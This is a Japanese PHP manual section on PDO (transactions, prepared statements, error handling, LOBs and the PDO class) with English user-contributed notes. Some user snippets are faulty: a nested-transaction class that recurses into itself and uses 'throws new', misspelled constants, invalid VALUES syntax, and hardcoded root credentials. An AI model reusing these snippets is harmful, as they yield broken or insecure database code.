以下の例では、新しい従業員のデータを作成しているものとします。 この従業員には ID 番号 23 を割り当てます。この人物についての 基礎データを入力するだけでなく、その給与についても登録する 必要があります。以下では単純に 2 つの別々の更新を行っていますが、 それらは PDO::beginTransaction() および PDO::commit() のコールで囲まれています。 これにより、変更が完了するまでは他からは一切変更内容が 見えないことが保証されます。もし何か問題が発生すれば、 catch ブロック内でトランザクション開始以降のすべての変更が ロールバックされます。そしてエラーメッセージを表示します。

<?php
try {
  $dbh = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2',
      array(PDO::ATTR_PERSISTENT => true));
  echo "接続しました\n";
} catch (Exception $e) {
  die("接続できません: " . $e->getMessage());
}

try {
  $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

  $dbh->beginTransaction();
  $dbh->exec("insert into staff (id, first, last) values (23, 'Joe', 'Bloggs')");
  $dbh->exec("insert into salarychange (id, amount, changedate)
      values (23, 50000, NOW())");
  $dbh->commit();

} catch (Exception $e) {
  $dbh->rollBack();
  echo "失敗しました。" . $e->getMessage();
}
?>

トランザクション内で行える処理は、更新には限りません。たとえば 何か複雑なクエリを発行してデータを抽出し、その情報をもとに データの更新をしたり別のクエリを実行したりすることも可能です。 トランザクションがアクティブな間は、作業中のデータについては 他から一切変更が加えられないことが保証されます。 トランザクションについての詳細は、 使用するデータベースサーバーのドキュメントを参照ください。

User Contributed Notes

harl at gmail dot com 18-Dec-2017 03:11
Some DBMSs allow DDL (table creation/alteration) within transactions, some do not. Asking "Does my DBMS allow DDL within transactions without forcing a commit?" gives the following example answers:

CUBRID: Yes
DB2 UDB: Yes
Firebird: Yes
Informix: Yes
MySQL: No
Oracle: No (although schema upgrades can be rolled out using "edition-based redefinition")
PostgreSQL: Yes
SQLite: Yes
SQL Server: Sometimes, depending on isolation level, type of command, etc.
Sybase: Yes
pasamio at gmail dot com 26-Oct-2012 07:25
Typically data definition language clauses (DDL) will trigger the database engine to automatically commit:
http://dev.mysql.com/doc/refman/5.0/en/implicit-commit.html

Many other databases (e.g. Oracle) will implicitly commit before and after running DDL statements.


プリペアドステートメントおよびストアドプロシージャ

より成熟したデータベースの多くは、プリペアドステートメントという 概念をサポートしています。プリペアドステートメントとはいったい何の ことでしょう? これは、実行したい SQL をコンパイルした 一種のテンプレートのようなものです。パラメータ変数を使用することで SQL をカスタマイズすることが可能です。プリペアドステートメントには 2 つの大きな利点があります。

  • クエリのパース (あるいは準備) が必要なのは最初の一回だけで、 同じパラメータ (あるいは別のパラメータ) を指定して何度でも クエリを実行することができます。クエリを実行するには、準備として クエリの解析やコンパイル、そして実行プランの最適化が行われます。 クエリが複雑になると、この処理には時間がかかるようになります。 同じクエリを異なったパラメータで何度も実行すると、アプリケーションの 動作は目に見えて遅くなるでしょう。 プリペアドステートメントを使用すると、この 解析/コンパイル/最適化 の繰り返しを避けることができます。 端的に言うと、プリペアドステートメントは使用するリソースが少ないため 高速に動作するということです。
  • プリペアドステートメントに渡すパラメータは、引用符で括る必要は ありません。それはドライバが自動的に行います。 アプリケーションで明示的にプリペアドステートメントを使用するように すれば、SQL インジェクションは決して発生しません (しかし、もし信頼できない入力をもとにクエリの他の部分を構築している のならば、その部分に対するリスクを負うことになります)。

プリペアドステートメントは非常に有用な機能なので、もしドライバが サポートしていなくても、例外的に PDO がこの機能をエミュレートします。 これにより、データベースの機能にかかわらず同じ仕組みで データベースへのアクセスができることが保証されます。

例1 プリペアドステートメントを使用して、繰り返し挿入処理を行う

この例は、name および value を名前つきプレースホルダで置き換えて INSERT クエリを実行します。

<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);

// 行を挿入します
$name = 'one';
$value = 1;
$stmt->execute();

// パラメータを変更し、別の行を挿入します
$name = 'two';
$value = 2;
$stmt->execute();
?>

例2 プリペアドステートメントを使用して、繰り返し挿入処理を行う

この例は、name および value をプレースホルダ ? で置き換えて INSERT クエリを実行します。

<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (?, ?)");
$stmt->bindParam(1, $name);
$stmt->bindParam(2, $value);

// 行を挿入します
$name = 'one';
$value = 1;
$stmt->execute();

// パラメータを変更し、別の行を挿入します
$name = 'two';
$value = 2;
$stmt->execute();
?>

例3 プリペアドステートメントを使用してデータを取得する

この例では、フォームで入力したキーの値に応じたデータを取得します。 ユーザーの入力内容は自動的に引用符で括られるので、SQL インジェクション攻撃の 恐れはありません。

<?php
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?");
if ($stmt->execute(array($_GET['name']))) {
  while ($row = $stmt->fetch()) {
    print_r($row);
  }
}
?>

例4 出力パラメータを指定してストアドプロシージャをコールする

データベースドライバがサポートしていれば、入力パラメータだけでなく 出力パラメータもバインドすることが可能です。出力パラメータは、 一般にストアドプロシージャから値を受け取るために使用します。この場合、 返される値の大きさがどの程度になるのかをバインド時に知っておく必要が あります。指定した大きさよりも大きな値が返されると、エラーが発生します。

<?php
$stmt = $dbh->prepare("CALL sp_returns_string(?)");
$stmt->bindParam(1, $return_value, PDO::PARAM_STR, 4000);

// ストアドプロシージャをコールします
$stmt->execute();

print "プロシージャが返した値は $return_value です\n";
?>

例5 入出力パラメータを指定してストアドプロシージャをコールする

入出力の両方に使用するパラメータを指定することもできます。 このパラメータの書式は、出力パラメータと同じです。 次の例では、ストアドプロシージャに文字列 'hello' を渡しています。 プロシージャの結果が返ってくると、 この文字列はプロシージャの返す値に置き換えられます。

<?php
$stmt = $dbh->prepare("CALL sp_takes_string_returns_string(?)");
$value = 'hello';
$stmt->bindParam(1, $value, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT, 4000);

// ストアドプロシージャをコールします
$stmt->execute();

print "プロシージャが返した値は $value です\n";
?>

例6 プレースホルダの間違った使用法

<?php
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name LIKE '%?%'");
$stmt->execute(array($_GET['name']));

// プレースホルダは、値全体に対して使用しなければなりません
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name LIKE ?");
$stmt->execute(array("%$_GET[name]%"));
?>

User Contributed Notes

bkilinc at deyta dot net 28-Jan-2021 05:38
it is a good practice not using double quotes in sql strings. This way you can ensure that no variable is injected in query.
a simple query with parameters should be;
'INSERT INTO REGISTRY (name, value) VALUES (?, ?)'
not
"INSERT INTO REGISTRY (name, value) VALUES (?, ?)"
felixwood84 at ymail dot com 25-Oct-2020 02:29
<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (name=:name, value=:value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);

// insert one row
$name = 'one';
$value = 1;
$stmt->execute();

// insert another row with different values
$name = 'two';
$value = 2;
$stmt->execute();
?>
w37090 at yandex dot ru 06-Feb-2020 06:11
Insert a multidimensional array into the database through a prepared query:
We have an array to write the form:

$dataArr:
Array
(
    [0] => Array
        (
            [0] => 2020
            [1] => 23
            [2] => 111111
        )

    [1] => Array
        (
            [0] => 2020
            [1] => 24
            [2] => 222222222
        )
....

Task: prepare a request and pass through binds
$array = [];
foreach ($dataArr as $k=>$v) {
// $x = 2020, the variable is predetermined in advance, does not change the essence
$array[] = [$x, $k, $v];
}
$sql = ("INSERT INTO `table` (`field`,`field`,`field`) VALUES (?,?,?)");

$db->queryBindInsert($sql,$array);

public function queryBindInsert($sql,$bind) {
        $stmt = $this->pdo->prepare($sql);

        if(count($bind)) {
            foreach($bind as $param => $value) {
                $c = 1;
                for ($i=0; $i<count($value); $i++) {
                    $stmt->bindValue($c++, $value[$i]);
                }
                $stmt->execute();
            }
        }
    }
adam at pyramidpower dot com dot au 05-Apr-2010 06:38
Note that when using name parameters with bindParam, the name itself, cannot contain a dash '-'.

example:
<?php
$stmt = $dbh->prepare ("INSERT INTO user (firstname, surname) VALUES (:f-name, :s-name)");
$stmt -> bindParam(':f-name', 'John');
$stmt -> bindParam(':s-name', 'Smith');
$stmt -> execute();
?>

The dashes in 'f-name' and 's-name' should be replaced with an underscore or no dash at all.

See http://bugs.php.net/43130

Adam


エラーおよびエラー処理

PDO が提供するエラー処理方法は 3 通り存在し、 アプリケーションの開発形態によって使い分けることができます。

  • PDO::ERRMODE_SILENT

    デフォルトのモードです。ステートメントおよびデータベースオブジェクトの エラーについて、PDO は単にそのエラーコードのみを設定します。 これを取得するには PDO::errorCode() および PDO::errorInfo() メソッドを使用します。 ステートメントオブジェクトへのコールによってエラーが発生した場合は、 そのオブジェクトの PDOStatement::errorCode() あるいは PDOStatement::errorInfo() メソッドを呼び出します。 データベースオブジェクトへのコールによってエラーが発生した場合は、 その代わりにデータベースオブジェクト上の同じメソッドを呼び出します。

  • PDO::ERRMODE_WARNING

    エラーコードを設定することに加え、PDO は 伝統的な E_WARNING メッセージも出力します。この設定はデバッグ/テストの際に有用で、 アプリケーションの動作を妨げることなしに問題点を確認できるように なります。

  • PDO::ERRMODE_EXCEPTION

    エラーコードを設定することに加え、PDO は PDOException をスローします。エラーコードや 関連情報が、クラスのプロパティとして設定されます。 この設定もまたデバッグ時に有用で、エラーが発生した時点で スクリプトの実行を停止させることによりコード内の問題点を 見つけやすくなります (例外によりスクリプトが終了した際には、トランザクションは自動的に ロールバックされることを覚えておきましょう)。

    このモードが有用である理由のひとつとして、伝統的な PHP 形式の警告よりも より明確にエラー処理コードが書けることがあります。例外を発生させず、 データベースへのコールのたびに毎回明示的に返り値をチェックすることに 比べると、コードの量やネストを減らすことができます。

    PHP の例外についての詳細な情報は、 例外 を参照ください。

PDO のエラーコードは、SQL-92 の SQLSTATE エラーコード文字列に 標準化されています。 ネイティブのコードを適切な SQLSTATE コードに変換するのは、個々の PDO ドライバの仕事となります。 PDO::errorCode() メソッドは SQLSTATE コードを返します。 エラーについての詳細な銃尾法が知りたい場合、PDO では PDO::errorInfo() メソッドも提供しており、 これは SQLSTATE コード、ドライバ固有のエラーコードおよびドライバ固有の エラーメッセージを含む配列を返します。

例1 PDO インスタンスの作成およびエラーモードの設定

<?php
$dsn = 'mysql:dbname=testdb;host=127.0.0.1';
$user = 'dbuser';
$password = 'dbpass';

try {
    $dbh = new PDO($dsn, $user, $password);
    $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
}

?>

注意:

PDO::__construct() は、接続に失敗した場合は常に PDOException をスローします。 これは、現在設定されている PDO::ATTR_ERRMODE が何であっても同じです。例外を処理しないと、fatal エラーとなります。

例2 PDO インスタンスの作成およびコンストラクタでのエラーモードの設定

<?php
$dsn = 'mysql:dbname=test;host=127.0.0.1';
$user = 'googleguy';
$password = 'googleguy';

/*
    ERRMODE を WARNING にした場合でも、コンストラクタを try/catch で囲むのは有効です。
    接続に失敗した場合、ERRMODE が何であろうが PDO::__construct が PDOException をスローするからです。
*/
try {
    $dbh = new PDO($dsn, $user, $password, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING));
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
    exit;
}

// このテーブルが存在しないとして、このコードを実行すると E_WARNING レベルのエラーになります。例外にはなりません。
$dbh->query("SELECT wrongcolumn FROM wrongtable");
?>

上の例の出力は以下となります。

Warning: PDO::query(): SQLSTATE[42S02]: Base table or view not found: 1146 Table 'test.wrongtable' doesn't exist in
/tmp/pdo_test.php on line 18

User Contributed Notes

There are no user contributed notes for this page.


ラージオブジェクト (LOB)

アプリケーション内で、データベースに「大きな」データを格納する 必要を感じることがあるかもしれません。「大きな」とは、一般的には 「4kb 程度以上」を指しますが、データベースによっては 32kb くらいまでは 「大きい」と判断されずにすむこともあります。ラージオブジェクトは テキストあるいはバイナリの両方の形式をとり得ます。 PDO でこのラージデータ型を扱うには、 PDOStatement::bindParam() や PDOStatement::bindColumn() のコール時に 型コードとして PDO::PARAM_LOB を使用します。 PDO::PARAM_LOB を指定すると、PDO は データをストリームにマップします。これにより、 PHP ストリーム API を使用してデータを扱えるようになります。

例1 データベース内の画像を表示する

この例では $lob という名前の変数に LOB をバインドし、 fpassthru() を使用してそれをブラウザに送信します LOB はストリームで表されるので、 fgets()、fread() および stream_get_contents() といった関数を 使用することができます。

<?php
$db = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2');
$stmt = $db->prepare("select contenttype, imagedata from images where id=?");
$stmt->execute(array($_GET['id']));
$stmt->bindColumn(1, $type, PDO::PARAM_STR, 256);
$stmt->bindColumn(2, $lob, PDO::PARAM_LOB);
$stmt->fetch(PDO::FETCH_BOUND);

header("Content-Type: $type");
fpassthru($lob);
?>

例2 画像をデータベースに挿入する

この例では、ファイルをオープンしてそのハンドルを PDO に渡し、 LOB としてデータベースに挿入します。PDO は、データベースに応じた もっとも適切な方法でデータを取得します。

<?php
$db = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2');
$stmt = $db->prepare("insert into images (id, contenttype, imagedata) values (?, ?, ?)");
$id = get_new_id(); // 新しい ID を割り当てるための何らかの関数

// フォームからファイルをアップロードしていると仮定します。
// 詳細な情報は PHP のドキュメントを参照ください。

$fp = fopen($_FILES['file']['tmp_name'], 'rb');

$stmt->bindParam(1, $id);
$stmt->bindParam(2, $_FILES['file']['type']);
$stmt->bindParam(3, $fp, PDO::PARAM_LOB);

$db->beginTransaction();
$stmt->execute();
$db->commit();
?>

例3 画像をデータベースに挿入する: Oracle

Oracle は、ファイルから LOB を挿入する方法が他とは少し違います。 また、必ずトランザクション内で挿入しなければなりません。 それ以外の場合、新しく挿入された LOB は長さゼロとなり、クエリの 実行時に暗黙的にコミットされます。

<?php
$db = new PDO('oci:', 'scott', 'tiger');
$stmt = $db->prepare("insert into images (id, contenttype, imagedata) " .
"VALUES (?, ?, EMPTY_BLOB()) RETURNING imagedata INTO ?");
$id = get_new_id(); // 新しい ID を割り当てるための何らかの関数

// フォームからファイルをアップロードしていると仮定します。
// 詳細な情報は PHP のドキュメントを参照ください。

$fp = fopen($_FILES['file']['tmp_name'], 'rb');

$stmt->bindParam(1, $id);
$stmt->bindParam(2, $_FILES['file']['type']);
$stmt->bindParam(3, $fp, PDO::PARAM_LOB);

$db->beginTransaction();
$stmt->execute();
$db->commit();
?>

User Contributed Notes

phpcoder at gmail dot com 31-Oct-2018 11:34
The DBMSs that are listed above have these (default) limits on the maximum size of a char string. The maximum is given in bytes so the number of characters storable can be smaller if a multibyte encoding is used.

CUBRID:    16kB
SQL Server: 2GB
Firebird:  32kB
IBM Db2:   32kB
Informix:  32kB
MySQL:     16kB
Oracle:     2kB
PostgreSQL: 1GB
SQLite:     1 billion bytes
4D: Unknown, but LOBs are limited to 2GB.
ben dot leiting at gmail dot com 13-Jun-2016 05:56
For selecting data out of Postgres, the data type of the column in the table determined if the parameter bound with PARAM_LOB returned a string or returned a resource.

<?php

// create table log ( data text ) ;
$geth = $dbh->prepare('select data from log ');
$geth->execute();
$geth->bindColumn(1, $dataString, PDO::PARAM_LOB);
$geth->fetch(PDO::FETCH_BOUND);

echo ($dataString); // $dataString is a string

// create table log ( data bytea ) ;
$geth = $dbh->prepare('select data from log');
$geth->execute();
$geth->bindColumn(1, $dataFH, PDO::PARAM_LOB);
$geth->fetch(PDO::FETCH_BOUND);

fpassthru($dataFH); // $dataFH is a resource
xorinox at gmx dot ch 13-Jan-2011 11:11
I find it easier to use stream_get_contens to fetch the data of a lob using the file handle.

<?php
$stmt = $pdo->con->prepare( 'select * from filetable' );
$stmt->execute();
$res = $stmt->fetchAll( PDO::FETCH_ASSOC );

for( $i=0; $i<count($res); $i++ ){
  $filename = "C:/tmp/".$res[$i]['FILE_ID'].'.xml';
  $content = stream_get_contents( $res[$i]['DATA_FILE'] );
  file_put_contents( $filename, $content );
}
?>
Jeremy Cook 19-Feb-2010 01:31
There seems to be a bug that affects example 1 above. PDO::PARAM_LOB when used with pdo::bindColumn() is supposed to return a stream but it returns a string. Passing this string to fpassthru() then triggers an error with the message 'supplied argument is not a valid stream resource'. This has been reported in bug #40913. The work around is to do the following:

<?php
$stmt = $db->prepare("select contenttype, imagedata from images where id=?");
$stmt->execute(array($_GET['id']));
$stmt->bindColumn(1, $type, PDO::PARAM_STR, 256);
$stmt->bindColumn(2, $lob, PDO::PARAM_LOB);
$stmt->fetch(PDO::FETCH_BOUND);

header("Content-Type: $type");
echo($lob);
?>

Since the browser is expecting an image after the call to header() writing the string representation of the binary output with echo() has the same affect as calling fpassthru().
http://matts.org/ 28-Aug-2009 01:30
A big gotcha exists for Oracle users.

You have to save CLOB objects using PDO::PARAM_STR, not PDO::PARAM_LOB.

But you MUST send the 4th argument, usually strlen($subject) or you get a LONG error.
diogoko at gmail dot com 01-Apr-2009 09:33
PDOStatement's methods bindParam and bindValue also work with strings, as in:

<?php
  $data = file_get_contents($filename);
  $stmt->bindValue(1, $data, PDO::PARAM_LOB);
  //...
?>

This was the only way I could make it work with PostgreSQL.
knl at bitflop dot com 23-Sep-2008 12:07
I spend a lot of time trying to get this to work, but no matter what I did PDO corrupted my data.

I finally discovered that I had been using:

$pdo->exec('SET CHARACTER SET utf8');

in the TRY part of my connection script.

This off course doesn't work when you feed binary input to PDO using the parameter lob.


PDO クラス

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

はじめに

PHP とデータベースサーバーの間の接続を表します。

クラス概要

PDO {
public __construct ( string $dsn , string $username = ? , string $passwd = ? , array $options = ? )
public beginTransaction ( ) : bool
public commit ( ) : bool
public errorCode ( ) : string
public errorInfo ( ) : array
public exec ( string $statement ) : int
public getAttribute ( int $attribute ) : mixed
public static getAvailableDrivers ( ) : array
public inTransaction ( ) : bool
public lastInsertId ( string $name = null ) : string
public prepare ( string $statement , array $driver_options = array() ) : PDOStatement
public query ( string $statement ) : PDOStatement
public quote ( string $string , int $parameter_type = PDO::PARAM_STR ) : string
public rollBack ( ) : bool
public setAttribute ( int $attribute , mixed $value ) : bool
}

目次

  • PDO::beginTransaction — トランザクションを開始する
  • PDO::commit — トランザクションをコミットする
  • PDO::__construct — データベースへの接続を表す PDO インスタンスを生成する
  • PDO::errorCode — データベースハンドラにおける直近の操作に関連する SQLSTATE を取得する
  • PDO::errorInfo — データベースハンドラにおける直近の操作に関連する拡張エラー情報を取得する
  • PDO::exec — SQL ステートメントを実行し、作用した行数を返す
  • PDO::getAttribute — データベース接続の属性を取得する
  • PDO::getAvailableDrivers — 利用可能な PDO ドライバの配列を返す
  • PDO::inTransaction — トランザクション内かどうかを調べる
  • PDO::lastInsertId — 最後に挿入された行の ID あるいはシーケンスの値を返す
  • PDO::prepare — 文を実行する準備を行い、文オブジェクトを返す
  • PDO::query — SQL ステートメントを実行し、結果セットを PDOStatement オブジェクトとして返す
  • PDO::quote — クエリ用の文字列をクオートする
  • PDO::rollBack — トランザクションをロールバックする
  • PDO::setAttribute — 属性を設定する

User Contributed Notes

Ale L 01-Nov-2018 06:17
1) Do not use your ddbb info in the same file

AND

2) DO NOT NEVER USE "All privileges user" for everything, always create an alternative user with restricted permissions (basic: SELECT, INSERT and so on)
ronakjain2012 at gmail dot com 25-Feb-2018 12:12
<?php

class Database
{
    private static $_instance;
    private $_connection;
    private $DB_host = "localhost";
    private $DB_user_name = "root";
    private $DB_user_password = "";
    private $DB_driver = "mysql";
    private $DB_database = "test";
    public static function init()
    {
        try {
            if (is_null(self::$_instance) || empty(self::$_instance)) {
                self::$_instance = new self();
                return self::$_instance;
            }else{
                return self::$_instance;
            }
        } catch (Exception $e) {
            return self::class;
        }
    }

    function __construct()
    {
        try {
            if (is_null($this->_connection) || empty($this->_connection)) {
                $this->_connection = new \PDO($this->DB_driver.':host='.$this->DB_host.';dbname='.$this->DB_database, $this->DB_user_name, $this->DB_user_password);
            }
        } catch (Exception $e) {
            $this->_connection = $e;
        }
    }

    public function connect()
    {
        return $this->_connection ? $this->_connection : null;
    }
}
sinri at everstray dot com 07-Dec-2017 03:38
For some Database Environment, such as Aliyun DRDS (Distributed Relational Database Service), cannot process preparing for SQL.
For such cases, the option `\PDO::ATTR_EMULATE_PREPARES` should be set to true. If you always got reports about "Failed to prepare SQL" while this option were set to false, you might try to turn on this option to emulate prepares for SQL.
Anonymous 30-Aug-2017 08:05
I personnaly create a new instance of PDO like this :

$dbDatas = parse_ini_file( DB_FILE );
 $dbOptions = [
 \PDO::ATTR_DEFAULT_FECTH_MODE => \PDO::FETCH_OBJ,
 \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION
 ];

 $dsn = sprintf( 'mysql:dbname=%s;host=%s', $dbDatas['dbname'],
$dbDatas['host'] );

 $this->cn = new \PDO( $dsn, $dbDatas['user'], $dbDatas['password'],
$dbOptions );
 $this->cn->exec( 'SET CHARACTER SET UTF8' );
thz at plista dot com 14-Jun-2013 01:25
Starting with PHP 5.4 you are unable to use persistent connections when you have your own database class derived from the native PDO class. If your code uses this combination, you will encounter segmentation faults during the cleanup of the PHP process.
You can still use _either_ a derived PDO class _or_ persistent connections.

For more information, please see this bug report: https://bugs.php.net/bug.php?id=63176
williambarry007 at gmail dot com 12-Oct-2011 01:10
PDO and Dependency Injection

Dependency injection is good for testing.  But for anyone wanting various data mapper objects to have a database connection, dependency injection can make other model code very messy because database objects have to be instantiated all over the place and given to the data mapper objects.

The code below is a good way to maintain dependency injection while keeping clean and minimal model code.

<?php

class DataMapper
{
    public static $db;

    public static function init($db)
    {
        self::$db = $db;
    }
}

class VendorMapper extends DataMapper
{
    public static function add($vendor)
    {
        $st = self::$db->prepare(
            "insert into vendors set
            first_name = :first_name,
            last_name = :last_name"
        );
        $st->execute(array(
            ':first_name' => $vendor->first_name,
            ':last_name' => $vendor->last_name
        ));
    }
}

// In your bootstrap
$db = new PDO(...);
DataMapper::init($db);

// In your model logic
$vendor = new Vendor('John', 'Doe');
VendorMapper::add($vendor);

?>
kcleung at kcleung dot no-ip dot org 02-May-2010 03:47
Here is an singleton PDO example:

###### config.ini ######
db_driver=mysql
db_user=root
db_password=924892xp

[dsn]
host=localhost
port=3306
dbname=localhost

[db_options]
PDO::MYSQL_ATTR_INIT_COMMAND=set names utf8

[db_attributes]
ATTR_ERRMODE=ERRMODE_EXCEPTION
############

<?php class Database {
    private static $link = null ;

    private static function getLink ( ) {
        if ( self :: $link ) {
            return self :: $link ;
        }

        $ini = _BASE_DIR . "config.ini" ;
        $parse = parse_ini_file ( $ini , true ) ;

        $driver = $parse [ "db_driver" ] ;
        $dsn = "${driver}:" ;
        $user = $parse [ "db_user" ] ;
        $password = $parse [ "db_password" ] ;
        $options = $parse [ "db_options" ] ;
        $attributes = $parse [ "db_attributes" ] ;

        foreach ( $parse [ "dsn" ] as $k => $v ) {
            $dsn .= "${k}=${v};" ;
        }

        self :: $link = new PDO ( $dsn, $user, $password, $options ) ;

        foreach ( $attributes as $k => $v ) {
            self :: $link -> setAttribute ( constant ( "PDO::{$k}" )
                , constant ( "PDO::{$v}" ) ) ;
        }

        return self :: $link ;
    }

    public static function __callStatic ( $name, $args ) {
        $callback = array ( self :: getLink ( ), $name ) ;
        return call_user_func_array ( $callback , $args ) ;
    }
} ?>

<?php // examples
$stmt = Database :: prepare ( "SELECT 'something' ;" ) ;
$stmt -> execute ( ) ;
var_dump ( $stmt -> fetchAll ( ) ) ;
$stmt -> closeCursor ( ) ;
?>
Megaloman 18-Feb-2009 07:03
"And storing username/password inside class is not a very good idea for production code."

Good idea is to store database connection settings in *.ini files but you have to restrict access to them. For example this way:

my_setting.ini:
[database]
driver = mysql
host = localhost
;port = 3306
schema = db_schema
username = user
password = secret

Database connection:
<?php
class MyPDO extends PDO
{
    public function __construct($file = 'my_setting.ini')
    {
        if (!$settings = parse_ini_file($file, TRUE)) throw new exception('Unable to open ' . $file . '.');

        $dns = $settings['database']['driver'] .
        ':host=' . $settings['database']['host'] .
        ((!empty($settings['database']['port'])) ? (';port=' . $settings['database']['port']) : '') .
        ';dbname=' . $settings['database']['schema'];

        parent::__construct($dns, $settings['database']['username'], $settings['database']['password']);
    }
}
?>

Database connection parameters are accessible via human readable ini file for those who screams even if they see one PHP/HTML/any_other command.
anrdaemon at freemail dot ru 22-Aug-2008 01:16
Keep in mind, you MUST NOT use 'root' user in your applications, unless your application designed to do a database maintenance.

And storing username/password inside class is not a very good idea for production code. You would need to edit the actual working code to change settings, which is bad.
schizo_mind at hotmail dot com 28-Jul-2008 10:00
<?php
class PDOConfig extends PDO {

    private $engine;
    private $host;
    private $database;
    private $user;
    private $pass;

    public function __construct(){
        $this->engine = 'mysql';
        $this->host = 'localhost';
        $this->database = '';
        $this->user = 'root';
        $this->pass = '';
        $dns = $this->engine.':dbname='.$this->database.";host=".$this->host;
        parent::__construct( $dns, $this->user, $this->pass );
    }
}
?>


トランザクションを開始する

  • ≪ PDO
  • PDO::commit ≫
  • PHP Manual
  • PDO
  • トランザクションを開始する

PDO::beginTransaction

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDO::beginTransaction — トランザクションを開始する

説明

public PDO::beginTransaction ( ) : bool

オートコミットモードをオフにします。オートコミットモードがオフの間、 PDO オブジェクトを通じてデータベースに加えた変更は PDO::commit() をコールするまでコミットされません。 PDO::rollBack() をコールすると、 データベースへの全ての変更をロールバックし、 オートコミットモードに設定された接続を返します。

MySQL を含むいくつかのデータベースでは、DROP TABLE や CREATE TABLE のようなデータベース定義言語 (DDL) ステートメントがトランザクション中に 発行される場合、暗黙的なコミットが自動的に発行されます。 この暗黙的なコミットにより、そのトランザクション境界で 他のあらゆる変更をロールバックすることができなくなるでしょう。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

トランザクションが既に開始されている場合や、ドライバがトランザクションに対応していない場合に PDOException をスローします。

注意: 例外は、PDO::ATTR_ERRMODE 属性が PDO::ERRMODE_EXCEPTION ではない場合でも発生します。

例

例1 トランザクションをロールバックする

以下の例は、トランザクションを開始し、 変更をロールバックする前にデータベースを修正する 2 つのステートメントを発行します。 しかしながら MySQL では、DROP TABLE ステートメントは 自動的にトランザクションをコミットするので、 トランザクション中のどの変更もロールバックされません。

<?php
/* トランザクションを開始する。オートコミットがオフになる */
$dbh->beginTransaction();

/* データベーススキーマとデータを変更する */
$sth = $dbh->exec("DROP TABLE fruit");
$sth = $dbh->exec("UPDATE dessert
    SET name = 'hamburger'");

/* ミスに気づき、変更をロールバックする */
$dbh->rollBack();

/* データベース接続はオートコミットモードに戻る */
?>

参考

  • PDO::commit() - トランザクションをコミットする
  • PDO::rollBack() - トランザクションをロールバックする
  • トランザクションおよび自動コミット

User Contributed Notes

sasi dot viragelet at gmail dot com 17-Nov-2016 09:29
When transaction gets your enemy:

try {

$pdo->beginTransaction();

// ... whatever db actions you have and then:

$sql_insert = 'INSERT INTO a (a_id, a_name, a_date)
  VALUES (:a_id, :a_name CURRENT_TIMESTAMP)';

  $stmt = $pdo->prepare($sql_insert);

  $stmt->bindValue(':_id', $id);
  $stmt->bindValue(':a_name', $name);

  $stmt->execute();

  $pdo->commit();

} catch (\PDOException $e) {

  $pdo->rollBack();

  http_response_code(500);
  header("Content-type: text/plain");
  echo $e;
  exit();

}

Notice the sytax error? There's a missing comma that just slips through every gate of surveillance:

"...UES (:a_id, :a_name CURR..." :: between the to be binded value and current timestamp command. The missing comma will not generate any error no syntax error, no database error. Though this record will never or partially make it. This will just silently fail. The story gets rough if you build your other dependencies on the transactions unmovable foot-stones of trust.

Just imagine you have some basic records in your transaction that you really wanna ensure ends up correctly in your db. And these records have a foreign constraint relation with another record. (That of course if you'd include in the transaction would throw you a big red error(-for who don't get it: transaction will first attempt to write everything into a temporary place, where it will get checked before everything gets into its permanent place, so constraints cannot be checked for something that don't exist yet.)) So you have a constraint that's based on the trust PDO will throw an error if something gets screwed, so what, you'll just place that insertion after the commit was successful. (Without any doublecheck.)

What happens you will get some partial records in your database without a relation that just might be important. You will that way be able to build up very sophisticated strange behaviours in your application. So pay attention!
cristian at crishk dot com 01-Oct-2016 10:12
OK I'm finding a solution for "NESTED" transactions in MySQL, and as you know in the MySQL documentation says that it's not possible to have transactions within transactions. I was trying to use the Database class propossed here in http://php.net/manual/en/pdo.begintransaction.php but unfortunately that's wrong for many things related to the control flow that I have been solved with the following code (LOOK THE EXAMPLE AT THE END, CarOwner)

<?php

class TransactionController extends \\PDO {
    public static $warn_rollback_was_thrown = false;
    public static $transaction_rollbacked = false;
    public function __construct()
    {
        parent :: __construct( ... connection info ... );
    }
    public static $nest = 0;
    public function reset()
    {
        TransactionController :: $transaction_rollbacked = false;
        TransactionController :: $warn_rollback_was_thrown = false;
        TransactionController :: $nest = 0;
    }
    function beginTransaction()
    {
        $result = null;
        if (TransactionController :: $nest == 0) {
            $this->reset();
            $result = $this->beginTransaction();
        }
        TransactionController :: $nest++;
        return $result;
    }

    public function commit()
    {

        $result = null;

        if (TransactionController :: $nest == 0 &&
                !TransactionController :: $transaction_rollbacked &&
                !TransactionController :: $warn_rollback_was_thrown) {
                    $result = parent :: commit();
                }
                TransactionController :: $nest--;
                return $result;
    }

    public function rollback()
    {
        $result = null;
        if (TransactionController :: $nest >= 0) {
            if (TransactionController :: $nest == 0) {
                $result = parent :: rollback();
                TransactionController :: $transaction_rollbacked = true;
            }
            else {
                TransactionController  :: $warn_rollback_was_thrown = true;
            }
        }
        TransactionController :: $nest--;
        return $result;
    }

    public function transactionFailed()
    {
        return TransactionController :: $warn_rollback_was_thrown === true;
    }
    // to force rollback you can only do it from $nest = 0
    public function forceRollback()
    {
        if (TransactionController :: $nest === 0) {
            throws new \PDOException();
        }
    }
}

?>
kesler dot alwin at gmail dot com 05-Apr-2016 01:35
